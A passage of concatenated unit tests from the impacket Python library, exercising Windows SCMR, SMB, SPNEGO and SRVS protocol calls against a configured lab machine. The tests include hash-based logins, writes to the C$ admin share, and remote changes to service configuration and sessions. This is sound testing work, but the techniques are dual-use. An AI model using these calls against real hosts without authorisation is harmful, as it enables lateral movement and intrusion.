self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)
lpBinaryPathName = NULL
lpLoadOrderGroup = 'KKKK\x00'
self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)
lpLoadOrderGroup = NULL
#lpdwTagId = [0]
#self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)
#lpdwTagId = ''
lpDependencies = 'RemoteRegistry\x00\x00'.encode('utf-16le')
dwDependSize = len(lpDependencies)
self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)
lpDependencies = NULL
dwDependSize = 0
lpServiceStartName = '.\\Administrator\x00'
self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)
lpServiceStartName = NULL
if self.__class__.__name__ == 'SMBTransport':
lpPassword = 'mypwd\x00'.encode('utf-16le')
s = rpctransport.get_smb_connection()
key = s.getSessionKey()
lpPassword = encryptSecret(key, lpPassword)
dwPwSize = len(lpPassword)
self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)
lpPassword = NULL
dwPwSize = 0
lpDisplayName = 'MANOLO\x00'
self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)
lpDisplayName = NULL
resp = scmr.hRDeleteService(dce, newHandle)
resp = scmr.hRCloseServiceHandle(dce, newHandle)
resp = scmr.hRCloseServiceHandle(dce, scHandle)
def test_query(self):
dce, rpctransport, scHandle = self.connect()
############################
# Query Service Status / Enum Dependent
lpServiceName = 'PlugPlay\x00'
desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
resp.dump()
serviceHandle = resp['lpServiceHandle']
resp = scmr.hRQueryServiceStatus(dce, serviceHandle)
cbBufSize = 0
try:
resp = scmr.hREnumDependentServicesW(dce, serviceHandle, scmr.SERVICE_STATE_ALL,cbBufSize )
resp.dump()
except scmr.DCERPCSessionError, e:
if str(e).find('ERROR_MORE_DATA') <= 0:
raise
else:
resp = e.get_packet()
resp.dump()
cbBufSize = resp['pcbBytesNeeded']
resp = scmr.hREnumDependentServicesW(dce, serviceHandle, scmr.SERVICE_STATE_ALL,cbBufSize )
resp.dump()
resp = scmr.hRCloseServiceHandle(dce, serviceHandle)
resp = scmr.hRCloseServiceHandle(dce, scHandle)
def test_lock_unlock(self):
dce, rpctransport, scHandle = self.connect()
resp = scmr.hRLockServiceDatabase(dce, scHandle)
lockHandle = resp['lpLock']
resp = scmr.hRUnlockServiceDatabase(dce, lockHandle)
resp = scmr.hRCloseServiceHandle(dce, scHandle)
def test_query_set_object_security(self):
dce, rpctransport, scHandle = self.connect()
try:
resp = scmr.hRQueryServiceObjectSecurity(dce, scHandle, scmr.DACL_SECURITY_INFORMATION, 0)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') <= 0:
raise
resp = scmr.hRCloseServiceHandle(dce, scHandle)
def atest_notify_config(self):
dce, rpctransport, scHandle = self.connect()
lpMachineName = 'DUMMY\x00'
try:
resp = scmr.hRNotifyBootConfigStatus(dce, lpMachineName, 0x0)
resp.dump()
except scmr.DCERPCSessionError, e:
if str(e).find('ERROR_BOOT_ALREADY_ACCEPTED') <= 0:
raise
resp = scmr.hRCloseServiceHandle(dce, scHandle)
def test_RControlServiceCall(self):
dce, rpctransport, scHandle = self.connect()
lpServiceName = 'CryptSvc\x00'
desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
resp.dump()
serviceHandle = resp['lpServiceHandle']
try:
req = scmr.RControlService()
req['hService'] = serviceHandle
req['dwControl'] = scmr.SERVICE_CONTROL_STOP
resp = dce.request(req)
except Exception, e:
if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0:
raise
pass
resp = scmr.hRCloseServiceHandle(dce, serviceHandle)
import time
time.sleep(1)
resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
resp.dump()
serviceHandle = resp['lpServiceHandle']
try:
resp = scmr.hRStartServiceW(dce, serviceHandle, 0, NULL )
resp.dump()
except Exception, e:
if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') < 0:
raise
return
class SMBTransport(SCMRTests):
def setUp(self):
SCMRTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\pipe\svcctl]' % self.machine
class TCPTransport(SCMRTests):
def setUp(self):
SCMRTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
#print epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp')
self.stringBinding = epm.hept_map(self.machine, scmr.MSRPC_UUID_SCMR, protocol = 'ncacn_ip_tcp')
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport)
#suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_smb.py 0000600 0000765 0000000 00000031271 12734531507 022567 0 ustar beto wheel 0000000 0000000 import unittest
import os
import ConfigParser
from binascii import unhexlify
from impacket.smbconnection import SMBConnection, smb
from impacket.smb3structs import *
# IMPORTANT NOTE:
# For some reason, under Windows 8, you cannot switch between
# dialects 002, 2_1 and 3_0 (it will throw STATUS_USER_SESSION_DELETED),
# but you can with SMB1.
# So, you can't run all test cases against the same machine.
# Usually running all the tests against a Windows 7 except SMB3
# would do the trick.
# ToDo:
# [ ] Add the rest of SMBConnection public methods
class SMBTests(unittest.TestCase):
def create_connection(self):
if self.dialects == smb.SMB_DIALECT:
# Only for SMB1 let's do manualNego
s = SMBConnection('*SMBSERVER', self.machine, preferredDialect = self.dialects, manualNegotiate=True)
s.negotiateSession(self.dialects, flags2=self.flags2)
else:
s = SMBConnection('*SMBSERVER', self.machine, preferredDialect = self.dialects)
return s
def test_connectTree(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
tid = smb.connectTree(self.share)
UNC = '\\\\%s\\%s' % (self.machine, self.share)
tid = smb.connectTree(UNC)
def test_connection(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
credentials = smb.getCredentials()
self.assertTrue( credentials == (self.username, self.password, self.domain, '','','', None, None))
smb.logoff()
del(smb)
def test_manualNego(self):
smb = self.create_connection()
smb.negotiateSession(self.dialects)
smb.login(self.username, self.password, self.domain)
credentials = smb.getCredentials()
self.assertTrue( credentials == (self.username, self.password, self.domain, '','','', None, None))
smb.logoff()
del(smb)
def test_loginHashes(self):
lmhash, nthash = self.hashes.split(':')
smb = self.create_connection()
smb.login(self.username, '', self.domain, lmhash, nthash)
credentials = smb.getCredentials()
self.assertTrue( credentials == (self.username, '', self.domain, unhexlify(lmhash), unhexlify(nthash), '', None, None) )
smb.logoff()
def test_loginKerberosHashes(self):
lmhash, nthash = self.hashes.split(':')
smb = self.create_connection()
smb.kerberosLogin(self.username, '', self.domain, lmhash, nthash, '')
credentials = smb.getCredentials()
self.assertTrue( credentials == (self.username, '', self.domain, unhexlify(lmhash), unhexlify(nthash), '', None, None) )
UNC = '\\\\%s\\%s' % (self.machine, self.share)
tid = smb.connectTree(UNC)
smb.logoff()
def test_loginKerberos(self):
smb = self.create_connection()
smb.kerberosLogin(self.username, self.password, self.domain, '', '', '')
credentials = smb.getCredentials()
self.assertTrue( credentials == (self.username, self.password, self.domain, '','','', None, None) )
UNC = '\\\\%s\\%s' % (self.machine, self.share)
tid = smb.connectTree(UNC)
smb.logoff()
def test_loginKerberosAES(self):
smb = self.create_connection()
smb.kerberosLogin(self.username, '', self.domain, '', '', self.aesKey)
credentials = smb.getCredentials()
self.assertTrue( credentials == (self.username, '', self.domain, '','',self.aesKey, None, None) )
UNC = '\\\\%s\\%s' % (self.machine, self.share)
tid = smb.connectTree(UNC)
smb.logoff()
def test_listPath(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
smb.listPath(self.share, '*')
smb.logoff()
def test_createFile(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
tid = smb.connectTree(self.share)
fid = smb.createFile(tid, self.file)
smb.closeFile(tid,fid)
smb.rename(self.share, self.file, self.file + '.bak')
smb.deleteFile(self.share, self.file + '.bak')
smb.disconnectTree(tid)
smb.logoff()
def test_readwriteFile(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
tid = smb.connectTree(self.share)
fid = smb.createFile(tid, self.file)
smb.writeFile(tid, fid, "A"*65535)
finished = False
data = ''
offset = 0
remaining = 65535
while remaining>0:
data += smb.readFile(tid,fid, offset, remaining)
remaining = 65535 - len(data)
self.assertTrue(len(data) == 65535)
self.assertTrue(data == "A"*65535)
smb.closeFile(tid,fid)
fid = smb.openFile(tid, self.file)
smb.closeFile(tid, fid)
smb.deleteFile(self.share, self.file)
smb.disconnectTree(tid)
smb.logoff()
def test_createdeleteDirectory(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
smb.createDirectory(self.share, self.directory)
smb.deleteDirectory(self.share, self.directory)
smb.logoff()
def test_getData(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
smb.getDialect()
smb.getServerName()
smb.getRemoteHost()
smb.getServerDomain()
smb.getServerOS()
smb.doesSupportNTLMv2()
smb.isLoginRequired()
smb.logoff()
def test_getServerName(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
serverName = smb.getServerName()
self.assertTrue( serverName.upper() == self.serverName.upper() )
smb.logoff()
def test_getServerDNSDomainName(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
serverDomain = smb.getServerDNSDomainName()
self.assertTrue( serverDomain.upper() == self.domain.upper())
smb.logoff()
def test_getServerDomain(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
serverDomain = smb.getServerDomain()
self.assertTrue( serverDomain.upper() == self.domain.upper().split('.')[0])
smb.logoff()
def test_getRemoteHost(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
remoteHost = smb.getRemoteHost()
self.assertTrue( remoteHost == self.machine)
smb.logoff()
def test_getDialect(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
dialect = smb.getDialect()
self.assertTrue( dialect == self.dialects)
smb.logoff()
def test_uploadDownload(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
f = open(self.upload)
smb.putFile(self.share, self.file, f.read)
f.close()
f = open(self.upload + '2', 'w+')
smb.getFile(self.share, self.file, f.write)
f.close()
os.unlink(self.upload + '2')
smb.deleteFile(self.share, self.file)
smb.logoff()
def test_listShares(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
smb.listShares()
smb.logoff()
def test_getSessionKey(self):
smb = self.create_connection()
smb.login(self.username, self.password, self.domain)
smb.getSessionKey()
smb.logoff
class SMB1Tests(SMBTests):
def setUp(self):
SMBTests.setUp(self)
# Put specific configuration for target machine with SMB1
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.aesKey = configFile.get('SMBTransport', 'aesKey128')
self.share = 'C$'
self.file = '/TEST'
self.directory= '/BETO'
self.upload = '../../nt_errors.py'
self.flags2 = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_LONG_NAMES
self.dialects = smb.SMB_DIALECT
class SMB1TestsUnicode(SMBTests):
def setUp(self):
SMBTests.setUp(self)
# Put specific configuration for target machine with SMB1
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.aesKey = configFile.get('SMBTransport', 'aesKey128')
self.share = 'C$'
self.file = '/TEST'
self.directory= '/BETO'
self.upload = '../../nt_errors.py'
self.flags2 = smb.SMB.FLAGS2_UNICODE | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_LONG_NAMES
self.dialects = smb.SMB_DIALECT
class SMB002Tests(SMBTests):
def setUp(self):
# Put specific configuration for target machine with SMB_002
SMBTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.aesKey = configFile.get('SMBTransport', 'aesKey128')
self.share = 'C$'
self.file = '/TEST'
self.directory= '/BETO'
self.upload = '../../nt_errors.py'
self.dialects = SMB2_DIALECT_002
class SMB21Tests(SMBTests):
def setUp(self):
# Put specific configuration for target machine with SMB 2.1
SMBTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.aesKey = configFile.get('SMBTransport', 'aesKey128')
self.share = 'C$'
self.file = '/TEST'
self.directory= '/BETO'
self.upload = '../../nt_errors.py'
self.dialects = SMB2_DIALECT_21
class SMB3Tests(SMBTests):
def setUp(self):
# Put specific configuration for target machine with SMB3
SMBTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.aesKey = configFile.get('SMBTransport', 'aesKey128')
self.share = 'C$'
self.file = '/TEST'
self.directory= '/BETO'
self.upload = '../../nt_errors.py'
self.dialects = SMB2_DIALECT_30
if __name__ == "__main__":
suite = unittest.TestLoader().loadTestsFromTestCase(SMB1Tests)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMB1TestsUnicode))
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMB002Tests))
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMB21Tests))
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMB3Tests))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_spnego.py 0000600 0000765 0000000 00000006676 12734531507 023314 0 ustar beto wheel 0000000 0000000 import unittest
from impacket import smb
class Test(unittest.TestCase):
def setUp(self):
self.negTokenInit = '\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
self.negTokenInit2 = '\x60\x4d\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x43\x30\x41\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2f\x04\x2d\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x15\x82\x08\x60\x09\x00\x09\x00\x20\x00\x00\x00\x04\x00\x04\x00\x29\x00\x00\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55\x50\x4a\x41\x43\x4b'
self.negTokenResp1 = '\xa1\x82\x01\x0b\x30\x82\x01\x07\xa0\x03\x0a\x01\x01\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x81\xf1\x04\x81\xee\x4e\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00\x1e\x00\x1e\x00\x38\x00\x00\x00\x15\x82\x8a\x62\x29\x93\x18\x15\x3d\x3b\x0d\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x98\x00\x56\x00\x00\x00\x06\x01\xb1\x1d\x00\x00\x00\x0f\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x02\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x01\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x04\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x03\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x07\x00\x08\x00\x52\xe8\x2b\x20\x70\x30\xcd\x01\x00\x00\x00\x00'
self.negTokenResp2 = '\xa1\x81\xab\x30\x81\xa8\xa2\x81\xa5\x04\x81\xa2\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00\x18\x00\x18\x00\x40\x00\x00\x00\x18\x00\x18\x00\x58\x00\x00\x00\x12\x00\x12\x00\x70\x00\x00\x00\x08\x00\x08\x00\x82\x00\x00\x00\x08\x00\x08\x00\x8a\x00\x00\x00\x10\x00\x10\x00\x92\x00\x00\x00\x15\x82\x08\x60\x24\x7f\xec\x6e\x53\x09\x86\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x99\x24\xd3\x12\xd5\x95\xe1\x33\xba\xfa\x00\x3e\xe3\xfd\x58\x63\xbd\x3e\x83\x0d\x4e\x71\xdc\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00\x50\x00\x74\x00\x65\x00\x73\x00\x74\x00\x4a\x00\x41\x00\x43\x00\x4b\x00\x32\xd2\x67\xd6\xa5\xa9\x4b\x97\x2a\xaf\x45\xee\x87\x58\x0c\x6d'
self.negTokenResp3 = '\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00'
def test_negTokenInit(self):
token = smb.SPNEGO_NegTokenInit()
token.fromString(self.negTokenInit)
self.assertTrue(self.negTokenInit, token.getData())
def test_negTokenInit2(self):
token = smb.SPNEGO_NegTokenInit()
token.fromString(self.negTokenInit2)
self.assertTrue(self.negTokenInit2, token.getData())
def test_negTokenResp1(self):
token = smb.SPNEGO_NegTokenResp()
token.fromString(self.negTokenResp1)
self.assertTrue(self.negTokenResp1, token.getData())
def test_negTokenResp2(self):
token = smb.SPNEGO_NegTokenResp()
token.fromString(self.negTokenResp2)
self.assertTrue(self.negTokenResp2, token.getData())
def test_negTokenResp3(self):
token = smb.SPNEGO_NegTokenResp()
token.fromString(self.negTokenResp3)
self.assertTrue(self.negTokenResp3, token.getData())
if __name__ == "__main__":
unittest.main()
impacket-0.9.15/impacket/testcases/SMB_RPC/test_srvs.py 0000600 0000765 0000000 00000122305 12734531507 023002 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
#
# NetrConnectionEnum
# NetrFileEnum
# NetrFileGetInfo
# NetrFileClose
# NetrSessionEnum
# NetrSessionDel
# NetrShareAdd
# NetrShareDel
# NetrShareEnum
# NetrShareEnumSticky
# NetrShareGetInfo
# NetrShareDelSticky
# NetrShareDelStart
# NetrShareDelCommit
# NetrShareCheck
# NetrServerGetInfo
# NetrServerDiskEnum
# NetrServerStatisticsGet
# NetrRemoteTOD
# NetrServerTransportEnum
# NetrpGetFileSecurity
# NetprPathType
# NetprPathCanonicalize
# NetprPathCompare
# NetprNameValidate
# NetprNameCanonicalize
# NetprNameCompare
# NetrDfsGetVersion
# NetrDfsModifyPrefix
# NetrDfsFixLocalVolume
# NetrDfsManagerReportSiteInfo
# NetrServerAliasAdd
# NetrServerAliasEnum
# NetrServerAliasDel
# NetrShareDelEx
# NetrServerTransportAdd
# NetrServerTransportDel
# NetrServerTransportAddEx
# NetrServerTransportDelEx
# NetrDfsCreateLocalPartition
# NetrDfsDeleteLocalPartition
# NetrDfsSetLocalVolumeState
# NetrDfsCreateExitPoint
# NetrDfsDeleteExitPoint
# NetrShareSetInfo
#
# Not yet:
#
# NetrServerSetInfo
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import srvs
from impacket.dcerpc.v5.dtypes import NULL, OWNER_SECURITY_INFORMATION
class SRVSTests(unittest.TestCase):
def connect(self):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.ts)
return dce, rpctransport
def test_NetrConnectionEnum(self):
dce, rpctransport = self.connect()
request = srvs.NetrConnectionEnum()
request['ServerName'] = '\\\\%s\x00' % self.machine
request['Qualifier'] = 'IPC$\x00'
request['InfoStruct']['Level'] = 1
request['InfoStruct']['ConnectInfo']['tag'] = 1
request['PreferedMaximumLength'] = 8192
resp = dce.request(request)
resp.dump()
request['InfoStruct']['Level'] = 0
request['InfoStruct']['ConnectInfo']['tag'] = 0
resp = dce.request(request)
resp.dump()
def test_hNetrConnectionEnum(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrConnectionEnum(dce, 'IPC$\x00', 1)
resp.dump()
resp = srvs.hNetrConnectionEnum(dce, 'IPC$\x00', 0)
resp.dump()
def test_NetrFileEnum(self):
dce, rpctransport = self.connect()
request = srvs.NetrFileEnum()
request['ServerName'] = '\\\\%s\x00' % self.machine
request['BasePath'] = NULL
request['UserName'] = NULL
request['InfoStruct']['Level'] = 2
request['InfoStruct']['FileInfo']['tag'] = 2
request['PreferedMaximumLength'] = 8192
resp = dce.request(request)
resp.dump()
request['InfoStruct']['Level'] = 3
request['InfoStruct']['FileInfo']['tag'] = 3
resp = dce.request(request)
resp.dump()
def test_hNetrFileEnum(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrFileEnum(dce, NULL, NULL, 2)
resp.dump()
resp = srvs.hNetrFileEnum(dce, NULL, NULL, 3)
resp.dump()
def test_NetrFileGetInfo(self):
dce, rpctransport = self.connect()
request = srvs.NetrFileEnum()
request['ServerName'] = '\\\\%s\x00' % self.machine
request['BasePath'] = NULL
request['UserName'] = NULL
request['InfoStruct']['Level'] = 2
request['InfoStruct']['FileInfo']['tag'] = 2
request['PreferedMaximumLength'] = 8192
resp = dce.request(request)
resp.dump()
request = srvs.NetrFileGetInfo()
request['ServerName'] = '\\\\%s\x00' % self.machine
request['FileId'] = resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id']
request['Level'] = 2
resp = dce.request(request)
resp.dump()
request['Level'] = 3
resp = dce.request(request)
resp.dump()
def test_hNetrFileGetInfo(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrFileEnum(dce, NULL, NULL, 2)
resp.dump()
resp0 = srvs.hNetrFileGetInfo(dce, resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id'], 2)
resp0.dump()
resp = srvs.hNetrFileGetInfo(dce, resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id'], 3)
resp.dump()
def test_NetrFileClose(self):
dce, rpctransport = self.connect()
request = srvs.NetrFileEnum()
request['ServerName'] = '\\\\%s\x00' % self.machine
request['BasePath'] = NULL
request['UserName'] = NULL
request['InfoStruct']['Level'] = 2
request['InfoStruct']['FileInfo']['tag'] = 2
request['PreferedMaximumLength'] = 8192
resp = dce.request(request)
resp.dump()
request = srvs.NetrFileClose()
request['ServerName'] = '\\\\%s\x00' % self.machine
request['FileId'] = resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id']
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
# I might be closing myself ;)
if str(e).find('STATUS_PIPE_BROKEN') < 0 and str(e).find('STATUS_FILE_CLOSED') < 0 and str(e).find('STATUS_INVALID_HANDLE') < 0:
raise
def test_hNetrFileClose(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrFileEnum(dce, NULL, NULL, 2)
resp.dump()
try:
resp = srvs.hNetrFileClose(dce, resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id'])
resp.dump()
except Exception, e:
# I might be closing myself ;)
if str(e).find('STATUS_PIPE_BROKEN') < 0 and str(e).find('STATUS_FILE_CLOSED') < 0 and str(e).find('STATUS_INVALID_HANDLE') < 0:
raise
def test_NetrSessionEnum(self):
dce, rpctransport = self.connect()
request = srvs.NetrSessionEnum()
request['ServerName'] = NULL
request['ClientName'] = NULL
request['UserName'] = NULL
request['InfoStruct']['Level'] = 0
request['InfoStruct']['SessionInfo']['tag'] = 0
request['InfoStruct']['SessionInfo']['Level0']['Buffer'] = NULL
request['PreferedMaximumLength'] = 0xffffffff
request['ResumeHandle'] = NULL
resp = dce.request(request)
resp.dump()
request['InfoStruct']['Level'] = 1
request['InfoStruct']['SessionInfo']['tag'] = 1
request['InfoStruct']['SessionInfo']['Level1']['Buffer'] = NULL
resp = dce.request(request)
resp.dump()
request['InfoStruct']['Level'] = 2
request['InfoStruct']['SessionInfo']['tag'] = 2
request['InfoStruct']['SessionInfo']['Level2']['Buffer'] = NULL
resp = dce.request(request)
resp.dump()
request['InfoStruct']['Level'] = 10
request['InfoStruct']['SessionInfo']['tag'] = 10
request['InfoStruct']['SessionInfo']['Level10']['Buffer'] = NULL
resp = dce.request(request)
resp.dump()
request['InfoStruct']['Level'] = 502
request['InfoStruct']['SessionInfo']['tag'] = 502
request['InfoStruct']['SessionInfo']['Level502']['Buffer'] = NULL
resp = dce.request(request)
resp.dump()
def test_hNetrSessionEnum(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0)
resp.dump()
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 1)
resp.dump()
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 2)
resp.dump()
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
resp.dump()
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)
resp.dump()
def test_NetrSessionDel(self):
dce, rpctransport = self.connect()
request = srvs.NetrSessionEnum()
